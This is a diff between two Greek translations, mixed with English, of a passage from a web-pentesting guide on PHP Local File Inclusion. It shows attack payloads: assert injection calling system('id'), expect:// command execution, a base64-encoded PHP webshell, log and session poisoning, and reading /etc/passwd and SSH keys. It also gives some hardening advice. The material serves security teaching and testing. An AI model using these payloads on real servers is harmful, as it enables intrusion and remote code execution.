r (και άλλοι codecs μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στο hex range). -- Όταν ο αρχικός χαρακτήρας είναι αριθμός χρειάζεται να τον base64 encode και να leak τα 2 πρώτα γράμματα για να εξαχθεί ο αριθμός. -- Το τελικό πρόβλημα είναι να δούμε **πώς να leak περισσότερα από τον αρχικό χαρακτήρα**. Χρησιμοποιώντας order memory filters όπως **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** είναι δυνατόν να αλλάξει η σειρά των χαρακτήρων και να μπουν στην πρώτη θέση άλλα γράμματα του κειμένου. -- Και για να μπορέσουμε να πάρουμε **περαιτέρω δεδομένα** η ιδέα είναι να **παράγουμε 2 bytes junk data στην αρχή** με **convert.iconv.UTF16.UTF16**, να εφαρμόσουμε **UCS-4LE** για να τα κάνουμε **pivot με τα επόμενα 2 bytes**, και d**elete the data until the junk data** (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίζετε έτσι μέχρι να φτάσετε στο επιθυμητό κομμάτι για leak. +- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially. +- Αυτό θα χρησιμοποιηθεί για να δημιουργήσει ένα **κείμενο τόσο μεγάλο όταν ο αρχικός χαρακτήρας μαντευτεί σωστά** που το php θα προκαλέσει ένα **σφάλμα** +- Ο φίλτρο **dechunk** θα **αφαιρέσει τα πάντα αν ο πρώτος char δεν είναι hex**, οπότε μπορούμε να ξέρουμε αν ο πρώτος char είναι hex. +- Αυτό, σε συνδυασμό με το προηγούμενο (και άλλους filters ανάλογα με το μαντεμένο γράμμα), θα μας επιτρέψει να μαντέψουμε ένα γράμμα στην αρχή του κειμένου βλέποντας πότε εφαρμόζοντας αρκετές μετασχηματίσεις γίνεται να μην είναι πλέον hexadecimal χαρακτήρας. Επειδή αν είναι hex, ο dechunk δεν θα το διαγράψει και η αρχική βόμβα θα κάνει php error. +- Ο codec **convert.iconv.UNICODE.CP930** μετασχηματίζει κάθε γράμμα στο επόμενο (οπότε μετά από αυτόν τον codec: a -> b). Αυτό μας επιτρέπει να ανακαλύψουμε αν ο πρώτος χαρακτήρας είναι `a` για παράδειγμα γιατί αν εφαρμόσουμε 6 από αυτόν τον codec a->b->c->d->e->f->g το γράμμα δεν είναι πλέον hexadecimal χαρακτήρας, επομένως ο dechunk δεν το διαγράφει και το php error ενεργοποιείται επειδή πολλαπλασιάζεται με την αρχική βόμβα. +- Χρησιμοποιώντας άλλους μετασχηματισμούς όπως **rot13** στην αρχή είναι δυνατό να leak άλλους chars όπως n, o, p, q, r (και άλλοι codecs μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στο hex range). +- Όταν ο αρχικός char είναι αριθμός χρειάζεται να γίνει base64 encode και να leak οι 2 πρώτοι χαρακτήρες για να leak τον αριθμό. +- Το τελικό πρόβλημα είναι να δούμε **πώς να leak περισσότερα από το αρχικό γράμμα**. Χρησιμοποιώντας order memory filters όπως **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** είναι δυνατό να αλλάξεις τη σειρά των chars και να φέρεις στην πρώτη θέση άλλα γράμματα του κειμένου. +- Και για να μπορέσουμε να αποκτήσουμε **further data** η ιδέα είναι να **παράγουμε 2 bytes junk data στην αρχή** με **convert.iconv.UTF16.UTF16**, να εφαρμόσουμε **UCS-4LE** για να το **pivot με τα επόμενα 2 bytes**, και να **delete τα δεδομένα μέχρι τα junk data** (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίστε έτσι μέχρι να φτάσετε στο επιθυμητό bit για να leak. -Στο άρθρο διατέθηκε επίσης ένα εργαλείο για αυτόματη εκτέλεση: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). +In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd -Αυτό το wrapper επιτρέπει την πρόσβαση σε file descriptors που η διεργασία έχει ανοιχτά. Ενδεχομένως χρήσιμο για exfiltrate το περιεχόμενο ανοιχτών αρχείων: +This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` -Μπορείτε επίσης να χρησιμοποιήσετε **php://stdin, php://stdout and php://stderr** για να αποκτήσετε πρόσβαση στα **file descriptors 0, 1 and 2** αντίστοιχα (δεν είναι σαφές πώς αυτό θα μπορούσε να είναι χρήσιμο σε μια επίθεση) +Μπορείτε επίσης να χρησιμοποιήσετε **php://stdin, php://stdout και php://stderr** για να αποκτήσετε πρόσβαση στους **περιγραφείς αρχείων 0, 1 και 2** αντίστοιχα (δεν είμαι σίγουρος/η πώς αυτό θα μπορούσε να είναι χρήσιμο σε μια επίθεση) ### zip:// and rar:// -Ανεβάστε ένα Zip ή Rar αρχείο με ένα PHPShell μέσα και αποκτήστε πρόσβαση σε αυτό.\ -Για να μπορείτε να εκμεταλλευτείτε το rar protocol, αυτό **πρέπει να ενεργοποιηθεί συγκεκριμένα**. +Ανέβασε ένα αρχείο Zip ή Rar με ένα PHPShell μέσα και πρόσβασέ το.\ +Για να είναι δυνατή η κατάχρηση του πρωτοκόλλου rar, αυτό **πρέπει να ενεργοποιηθεί ειδικά**. ```bash echo "
" > payload.php; zip payload.zip payload.php; @@ -332,7 +332,7 @@ NOTE: the payload is "" ### expect:// -Το Expect πρέπει να είναι ενεργοποιημένο. Μπορείτε να εκτελέσετε κώδικα χρησιμοποιώντας το εξής: +Το Expect πρέπει να είναι ενεργοποιημένο. Μπορείτε να εκτελέσετε κώδικα χρησιμοποιώντας αυτό: ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls @@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "addFromString('test.txt', 'text'); $phar->setStub(''); $phar->stopBuffering(); ``` -Για να μεταγλωττιστεί το αρχείο `.phar`, πρέπει να εκτελεστεί η ακόλουθη εντολή: +Για να δημιουργηθεί το αρχείο `.phar`, πρέπει να εκτελεστεί η ακόλουθη εντολή: ```bash php --define phar.readonly=0 create_path.php ``` -Κατά την εκτέλεση, θα δημιουργηθεί ένα αρχείο με όνομα `test.phar`, το οποίο ενδέχεται να αξιοποιηθεί για να εκμεταλλευτεί ευπάθειες Local File Inclusion (LFI). +Κατά την εκτέλεση, θα δημιουργηθεί ένα αρχείο με όνομα `test.phar`, το οποίο θα μπορούσε ενδεχομένως να αξιοποιηθεί για την εκμετάλλευση ευπαθειών Local File Inclusion (LFI). -Σε περιπτώσεις όπου το LFI απλώς διαβάζει αρχεία χωρίς να εκτελεί τον PHP κώδικα εντός, μέσω συναρτήσεων όπως `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ή `filesize()`, μπορεί να επιχειρηθεί εκμετάλλευση ευπάθειας απο-σειριοποίησης. Αυτή η ευπάθεια συνδέεται με το διάβασμα αρχείων χρησιμοποιώντας το πρωτόκολλο `phar`. +Σε περιπτώσεις όπου το LFI μόνο διαβάζει αρχεία χωρίς να εκτελεί τον PHP κώδικα που περιέχουν, μέσω συναρτήσεων όπως `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ή `filesize()`, μπορεί να επιχειρηθεί εκμετάλλευση μιας deserialization vulnerability. Αυτή η ευπάθεια σχετίζεται με το διάβασμα αρχείων χρησιμοποιώντας το πρωτόκολλο `phar`. + +For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below: [Phar Deserialization Exploitation Guide](phar-deserialization.md) @@ -371,36 +373,36 @@ phar-deserialization.md ### CVE-2024-2961 -Ήταν δυνατό να καταχραστεί **οποιοδήποτε αυθαίρετο αρχείο που διαβάζεται από PHP και υποστηρίζει php filters** για να αποκτηθεί RCE. Η λεπτομερής περιγραφή μπορεί να [**βρεθεί σε αυτό το post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ -Πολύ σύντομη περίληψη: μια **3 byte overflow** στο PHP heap εκμεταλλεύτηκε για να **αλλάξει την αλυσίδα των free chunks** συγκεκριμένου μεγέθους ώστε να είναι δυνατή η **γραφή οτιδήποτε σε οποιαδήποτε διεύθυνση**, οπότε προστέθηκε ένα hook για την κλήση της **`system`**.\ -Ήταν δυνατό να διατεθούν chunks συγκεκριμένων μεγεθών εκμεταλλευόμενοι περισσότερα php filters. +It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ +Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\ +It was possible to alloc chunks of specific sizes abusing more php filters. ### More protocols Ελέγξτε περισσότερα πιθανά[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** -- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Γράφει στη μνήμη ή σε ένα προσωρινό αρχείο (δεν είμαι σίγουρος πώς αυτό μπορεί να είναι χρήσιμο σε μια file inclusion attack) -- [file://](https://www.php.net/manual/en/wrappers.file.php) — Πρόσβαση στο local filesystem +- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Εγγραφή στη μνήμη ή σε προσωρινό αρχείο (δεν είναι σαφές πώς αυτό μπορεί να είναι χρήσιμο σε μια file inclusion attack) +- [file://](https://www.php.net/manual/en/wrappers.file.php) — Πρόσβαση στο τοπικό filesystem - [http://](https://www.php.net/manual/en/wrappers.http.php) — Πρόσβαση σε HTTP(s) URLs - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Πρόσβαση σε FTP(s) URLs - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams -- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Εύρεση ονομάτων διαδρομών που ταιριάζουν με μοτίβο (Δεν επιστρέφει κάτι εκτυπώσιμο, οπότε δεν είναι ιδιαίτερα χρήσιμο εδώ) +- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Εύρεση μονοπατιών που ταιριάζουν με πρότυπο (Δεν επιστρέφει τίποτα εκτυπώσιμο, οπότε δεν είναι πραγματικά χρήσιμο εδώ) - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 -- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Δεν είναι χρήσιμο για το διάβασμα αυθαίρετων αρχείων) +- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Δεν είναι χρήσιμο για την ανάγνωση arbitrary files) ## LFI via PHP's 'assert' -Οι κίνδυνοι Local File Inclusion (LFI) στο PHP είναι ιδιαίτερα υψηλοί όταν χρησιμοποιείται η συνάρτηση 'assert', η οποία μπορεί να εκτελέσει κώδικα μέσα σε strings. Αυτό είναι ιδιαίτερα προβληματικό εάν γίνεται έλεγχος εισόδου που περιέχει χαρακτήρες directory traversal όπως ".." αλλά δεν γίνεται σωστή απολύμανση. +Οι κίνδυνοι από Local File Inclusion (LFI) στο PHP είναι ιδιαίτερα υψηλοί όταν υπάρχει η συνάρτηση 'assert', η οποία μπορεί να εκτελέσει κώδικα μέσα σε strings. Αυτό είναι ιδιαίτερα προβληματικό εάν γίνει έλεγχος σε είσοδο που περιέχει χαρακτήρες directory traversal όπως ".." αλλά δεν γίνεται σωστή απολύμανση. -Για παράδειγμα, ο PHP κώδικας μπορεί να έχει σχεδιαστεί για να αποτρέπει το directory traversal ως εξής: +For example, PHP code might be designed to prevent directory traversal like so: ```bash assert("strpos('$file', '..') === false") or die(""); ``` -Ενώ αυτό στοχεύει στο να αποτρέψει το traversal, δημιουργεί κατά λάθος ένα διάνυσμα για code injection. Για να το εκμεταλλευτεί για να διαβάσει το περιεχόμενο αρχείων, ένας attacker θα μπορούσε να χρησιμοποιήσει: +Ενώ αυτό στοχεύει στο να σταματήσει το traversal, δημιουργεί ακούσια ένα vector για code injection. Για να το exploit για την ανάγνωση του περιεχομένου ενός αρχείου, ένας attacker θα μπορούσε να χρησιμοποιήσει: ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` -Ομοίως, για την εκτέλεση αυθαίρετων system commands, κάποιος μπορεί να χρησιμοποιήσει: +Παρομοίως, για την εκτέλεση αυθαίρετων εντολών συστήματος, κάποιος μπορεί να χρησιμοποιήσει: ```plaintext ' and die(system("id")) or ' ``` @@ -409,17 +411,17 @@ It's important to **URL-encode these payloads**. ## PHP Blind Path Traversal > [!WARNING] -> Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου **control** το **file path** μιας **PHP function** που θα **access a file** αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως μια απλή κλήση σε **`file()`**) αφού το περιεχόμενο δεν εμφανίζεται. +> Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου εσείς **ελέγχετε** τη **διαδρομή αρχείου** μιας **PHP function** που θα **αποκτήσει πρόσβαση σε ένα αρχείο**, αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως μια απλή κλήση σε **`file()`**) καθώς το περιεχόμενο δεν εμφανίζεται. -In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) εξηγείται πώς ένα blind path traversal μπορεί να καταχραστεί μέσω PHP filter για να **exfiltrate the content of a file via an error oracle**. +In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**. -Συνοπτικά, η τεχνική χρησιμοποιεί την κωδικοποίηση **"UCS-4LE"** ώστε το περιεχόμενο ενός αρχείου να γίνει τόσο **big** που η **PHP function opening** το αρχείο θα προκαλέσει ένα **error**. +Συνοπτικά, η τεχνική χρησιμοποιεί την κωδικοποίηση **"UCS-4LE"** για να κάνει το περιεχόμενο ενός αρχείου τόσο **μεγάλο** που η **PHP function που ανοίγει** το αρχείο θα προκαλέσει ένα **error**. -Έπειτα, για να leak ο πρώτος χαρακτήρας χρησιμοποιείται το φίλτρο **`dechunk`** μαζί με άλλα όπως **base64** ή **rot13** και τελικά τα φίλτρα **convert.iconv.UCS-4.UCS-4LE** και **convert.iconv.UTF16.UTF-16BE** χρησιμοποιούνται για να **place other chars at the beggining and leak them**. +Στη συνέχεια, για να leak τον πρώτο χαρακτήρα χρησιμοποιείται το φίλτρο **`dechunk`** μαζί με άλλα όπως **base64** ή **rot13** και τελικά τα φίλτρα **convert.iconv.UCS-4.UCS-4LE** και **convert.iconv.UTF16.UTF-16BE** χρησιμοποιούνται για να **τοποθετήσουν άλλους χαρακτήρες στην αρχή και να τους leak**. -Συναρτήσεις που μπορεί να είναι ευάλωτες: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` +**Συναρτήσεις που μπορεί να είναι ευάλωτες**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` -Για τις τεχνικές λεπτομέρειες δείτε το προαναφερθέν post! +Για τεχνικές λεπτομέρειες δείτε το προαναφερθέν post! ## LFI2RCE @@ -428,17 +430,17 @@ In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filt When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell. Typical exploitation workflow: -- Εντοπίστε ένα write primitive σε ένα endpoint ή background worker που δέχεται ένα path/filename και γράφει περιεχόμενο στο δίσκο (π.χ. message-driven ingestion, XML/JSON command handlers, ZIP extractors, κ.λπ.). -- Determine web-exposed directories. Common examples: +- Εντοπίστε ένα write primitive σε ένα endpoint ή background worker που δέχεται ένα path/filename και γράφει περιεχόμενο στο δίσκο (π.χ. message-driven ingestion, XML/JSON command handlers, ZIP extractors, κτλ.). +- Προσδιορίστε web-exposed directories. Συνηθισμένα παραδείγματα: - Apache/PHP: `/var/www/html/` - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` -- Κατασκευάστε ένα traversal path που θα βγει από τον προορισμένο storage directory προς το webroot, και συμπεριλάβετε το webshell content σας. +- Σχεδιάστε μια traversal διαδρομή που θα σπάσει έξω από τον προοριζόμενο κατάλογο αποθήκευσης προς το webroot, και τοποθετήστε μέσα το περιεχόμενο της webshell σας. - Περιηγηθείτε στο dropped payload και εκτελέστε εντολές. -Notes: -- Η ευάλωτη υπηρεσία που εκτελεί το write μπορεί να ακούει σε non-HTTP port (π.χ. ένας JMF XML listener σε TCP 4004). Το κύριο web portal (σε άλλη θύρα) θα σερβίρει αργότερα το payload σας. -- Σε Java stacks, αυτές οι εγγραφές αρχείων συχνά υλοποιούνται με απλή σύνδεση `File`/`Paths`. Η έλλειψη canonicalisation/allow-listing είναι το βασικό σφάλμα. +Σημειώσεις: +- Η ευάλωτη υπηρεσία που εκτελεί τη εγγραφή μπορεί να ακούει σε μια μη-HTTP θύρα (π.χ. ένας JMF XML listener στο TCP 4004). Το κύριο web portal (διαφορετική θύρα) θα σερβίρει αργότερα το payload σας. +- Στους Java stacks, αυτές οι εγγραφές αρχείων συχνά υλοποιούνται με απλή concatenation `File`/`Paths`. Η έλλειψη canonicalisation/allow-listing είναι το βασικό σφάλμα. Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): ```xml @@ -464,26 +466,26 @@ in.transferTo(out); ``` -Μέτρα σκληρύνσεως που αποτρέπουν αυτή την κατηγορία σφαλμάτων: -- Επίλυση σε canonical path και επιβολή ότι είναι απόγονος ενός allow-listed base directory. -- Απόρριψη οποιουδήποτε μονοπατιού που περιέχει `..`, απόλυτες ρίζες, ή drive letters· προτίμηση σε generated filenames. -- Τρέξτε τον writer ως λογαριασμό με χαμηλά δικαιώματα και διαχωρίστε τους καταλόγους εγγραφής από τα served roots. +Σκληροποίηση που εξουδετερώνει αυτή την κατηγορία σφαλμάτων: +- Επιλύστε σε canonical path και επιβάλετε ότι είναι απόγονος ενός allow-listed base directory. +- Απορρίψτε οποιοδήποτε path που περιέχει `..`, absolute roots, ή drive letters· προτιμήστε generated filenames. +- Τρέξτε τον writer ως low-privileged account και διαχωρίστε τους write directories από τα served roots. ## Remote File Inclusion -Εξηγήθηκε προηγουμένως, [**follow this link**](#remote-file-inclusion). +Explained previously, [**follow this link**](#remote-file-inclusion). -### Via Apache/Nginx log file +### Μέσω Apache/Nginx log file -If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **``** and include that file +Εάν ο Apache ή ο Nginx server είναι **ευάλωτος σε LFI** μέσα στην include function μπορείτε να προσπαθήσετε να αποκτήσετε πρόσβαση στο **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, να βάλετε μέσα στο **user agent** ή σε ένα **GET parameter** ένα php shell όπως **``** και να συμπεριλάβετε αυτό το αρχείο > [!WARNING] -> Σημειώστε ότι **εάν χρησιμοποιήσετε double quotes** για το shell αντί για **simple quotes**, τα double quotes θα τροποποιηθούν για τη συμβολοσειρά "_**quote;**_", **η PHP θα ρίξει σφάλμα** εκεί και **τίποτε άλλο δεν θα εκτελεστεί**. +> Σημειώστε ότι **εάν χρησιμοποιήσετε double quotes** για το shell αντί για **simple quotes**, τα double quotes θα τροποποιηθούν στη συμβολοσειρά "_**quote;**_", **PHP θα ρίξει σφάλμα** και **τίποτε άλλο δεν θα εκτελεστεί**. > -> Επίσης, βεβαιωθείτε ότι **γράφετε σωστά το payload** αλλιώς η PHP θα δίνει σφάλμα κάθε φορά που προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε δεύτερη ευκαιρία. +> Επίσης, βεβαιωθείτε ότι **γράφετε σωστά το payload** αλλιώς η PHP θα εμφανίζει σφάλμα κάθε φορά που προσπαθεί να φορτώσει το log file και δεν θα έχετε δεύτερη ευκαιρία. -Αυτό μπορεί επίσης να γίνει σε άλλα αρχεία καταγραφής αλλά **προσέξτε,** ο κώδικας μέσα στα αρχεία καταγραφής μπορεί να είναι URL encoded και αυτό μπορεί να καταστρέψει το Shell. Το header **authorisation "basic"** περιέχει "user:password" σε Base64 και αυτό αποκωδικοποιείται μέσα στα αρχεία καταγραφής. Το PHPShell μπορεί να εισαχθεί μέσα σε αυτό το header.\ -Άλλες πιθανές διαδρομές αρχείων καταγραφής: +Αυτό μπορεί επίσης να γίνει σε άλλα logs αλλά **πρόσεχε,** ο κώδικας μέσα στα logs μπορεί να είναι URL encoded και αυτό μπορεί να καταστρέψει το Shell. Το header **authorisation "basic"** περιέχει "user:password" σε Base64 και αποκωδικοποιείται μέσα στα logs. Το PHPShell μπορεί να εισαχθεί μέσα σε αυτό το header.\ +Other possible log paths: ```python /var/log/apache2/access.log /var/log/apache/access.log @@ -499,31 +501,31 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin ### Μέσω Email -**Αποστείλετε ένα mail** σε έναν εσωτερικό λογαριασμό (user@localhost) που περιέχει το PHP payload σας όπως `` και δοκιμάστε να το include στο mail του χρήστη με μια διαδρομή όπως **`/var/mail/`** ή **`/var/spool/mail/`** +**Στείλε ένα mail** σε έναν εσωτερικό λογαριασμό (user@localhost) που περιέχει το PHP payload σου όπως `` και προσπάθησε να κάνεις include το mail του χρήστη με διαδρομή όπως **`/var/mail/`** ή **`/var/spool/mail/`** -### Μέσω /proc/*/fd/* +### Μέσω /proc/\*/fd/\* -1. Ανεβάστε πολλά shells (για παράδειγμα: 100) -2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), με $PID = PID της διεργασίας (μπορεί να brute forced) και $FD ο file descriptor (μπορεί να brute forced επίσης) +1. Ανέβασε πολλά shells (π.χ.: 100) +2. Κάνε include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), με $PID = PID της διεργασίας (μπορεί να βρεθεί με brute force) και $FD το file descriptor (μπορεί επίσης να βρεθεί με brute force) ### Μέσω /proc/self/environ -Όπως σε ένα αρχείο καταγραφής, στείλτε το payload στο User-Agent — θα αντανακλάται μέσα στο αρχείο /proc/self/environ +Όπως ένα αρχείο καταγραφής, στείλε το payload στο User-Agent, θα αντικατοπτριστεί μέσα στο αρχείο /proc/self/environ ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` -### Μέσω upload +### Via upload -Αν μπορείτε να upload ένα αρχείο, απλώς εισάγετε το shell payload σε αυτό (e.g : `` ). +Αν μπορείς να upload ένα αρχείο, απλώς inject το shell payload σε αυτό (e.g : `` ). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` -Για να διατηρηθεί το αρχείο αναγνώσιμο, είναι καλύτερο να inject στα metadata των εικόνων/doc/pdf +Για να διατηρηθεί το αρχείο αναγνώσιμο, είναι καλύτερο να ενσωματωθεί στα μεταδεδομένα των εικόνων/doc/pdf -### Μέσω ανέβασματος αρχείου ZIP +### Μέσω ZIP file upload -Ανέβασε ένα αρχείο ZIP που περιέχει έναν συμπιεσμένο PHP shell και πρόσβαση: +Ανεβάστε ένα ZIP αρχείο που περιέχει ένα συμπιεσμένο PHP shell και αποκτήστε πρόσβαση: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` @@ -534,7 +536,7 @@ example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` -Στο PHP αυτές οι sessions αποθηκεύονται σε _/var/lib/php5/sess\\_\[PHPSESSID]\_ αρχεία +Στο PHP αυτές οι συνεδρίες αποθηκεύονται σε αρχεία _/var/lib/php5/sess\\_\[PHPSESSID]\_ ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; @@ -549,18 +551,18 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s ``` ### Μέσω ssh -Εάν το ssh είναι ενεργό έλεγξε ποιος χρήστης χρησιμοποιείται (/proc/self/status & /etc/passwd) και προσπάθησε να έχεις πρόσβαση στο **\/.ssh/id_rsa** +Αν το ssh είναι ενεργό, ελέγξτε ποιος χρήστης χρησιμοποιείται (/proc/self/status & /etc/passwd) και προσπαθήστε να αποκτήσετε πρόσβαση στο **\/.ssh/id_rsa** ### **Μέσω** **vsftpd** _**logs**_ -Τα logs για τον FTP server vsftpd βρίσκονται στο _**/var/log/vsftpd.log**_. Στο σενάριο όπου υπάρχει ευπάθεια Local File Inclusion (LFI) και είναι δυνατή η πρόσβαση σε έναν εκτεθειμένο vsftpd server, μπορούν να εξεταστούν τα παρακάτω βήματα: +Τα logs του FTP server vsftpd βρίσκονται στο _**/var/log/vsftpd.log**_. Στην περίπτωση όπου υπάρχει ευπάθεια Local File Inclusion (LFI) και είναι δυνατή η πρόσβαση σε έναν εκτεθειμένο vsftpd server, μπορούν να θεωρηθούν οι ακόλουθες ενέργειες: -1. Ενέχυσέ ένα PHP payload στο πεδίο username κατά τη διαδικασία σύνδεσης. -2. Μετά την έγχυση, χρησιμοποίησε το LFI για να ανακτήσεις τα server logs από _**/var/log/vsftpd.log**_. +1. Εισάγετε ένα PHP payload στο πεδίο username κατά τη διαδικασία σύνδεσης. +2. Μετά την έγχυση, χρησιμοποιήστε το LFI για να ανακτήσετε τα server logs από _**/var/log/vsftpd.log**_. ### Μέσω php base64 filter (using base64) -Όπως δείχνει [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter απλά αγνοεί μη-base64 χαρακτήρες. Μπορείς να το χρησιμοποιήσεις για να παρακάμψεις τον έλεγχο επέκτασης αρχείου: εάν παρέχεις base64 που τελειώνει με ".php", το φίλτρο θα αγνοήσει το "." και θα προσθέσει "php" στο base64. Εδώ είναι ένα παράδειγμα payload: +Όπως φαίνεται στο [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) άρθρο, το PHP base64 filter αγνοεί τους μη-base64 χαρακτήρες. Μπορείτε να το χρησιμοποιήσετε για να παρακάμψετε τον έλεγχο επέκτασης αρχείου: αν παρέχετε base64 που τελειώνει με ".php", θα αγνοήσει το "." και θα προσθέσει "php" στο base64. Εδώ ένα παράδειγμα payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php @@ -568,7 +570,7 @@ NOTE: the payload is "" ``` ### Μέσω php filters (δεν απαιτείται αρχείο) -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters to generate arbitrary content** ως έξοδο. Αυτό ουσιαστικά σημαίνει ότι μπορείτε να **generate arbitrary php code** για το include **χωρίς να χρειάζεται να το γράψετε** σε αρχείο. +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters για να δημιουργήσετε αυθαίρετο περιεχόμενο** ως έξοδο. Το οποίο ουσιαστικά σημαίνει ότι μπορείτε να **generate arbitrary php code** για το include **χωρίς να χρειαστεί να το γράψετε** σε αρχείο. {{#ref}} @@ -577,14 +579,14 @@ lfi2rce-via-php-filters.md ### Μέσω segmentation fault -**Ανεβάστε** ένα αρχείο που θα αποθηκευτεί ως **προσωρινό** στο `/tmp`, τότε στην **ίδια αίτηση** προκαλέστε ένα **segmentation fault**, και τότε το **προσωρινό αρχείο δεν θα διαγραφεί** και μπορείτε να το αναζητήσετε. +**Μεταφορτώστε** ένα αρχείο που θα αποθηκευτεί ως **προσωρινό** στο `/tmp`, στη συνέχεια στην **ίδια αίτηση,** προκαλέστε ένα **segmentation fault**, και τότε το **προσωρινό αρχείο δεν θα διαγραφεί** και μπορείτε να το αναζητήσετε. {{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}} -### Μέσω αποθήκευσης προσωρινών αρχείων Nginx +### Μέσω Nginx αποθήκευσης προσωρινών αρχείων If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique: @@ -595,7 +597,7 @@ lfi2rce-via-nginx-temp-files.md ### Μέσω PHP_SESSION_UPLOAD_PROGRESS -Ακόμα κι αν βρήκατε ένα **Local File Inclusion** και **δεν έχετε session** και `session.auto_start` είναι `Off`. Αν παρέχετε το **`PHP_SESSION_UPLOAD_PROGRESS`** σε **multipart POST** 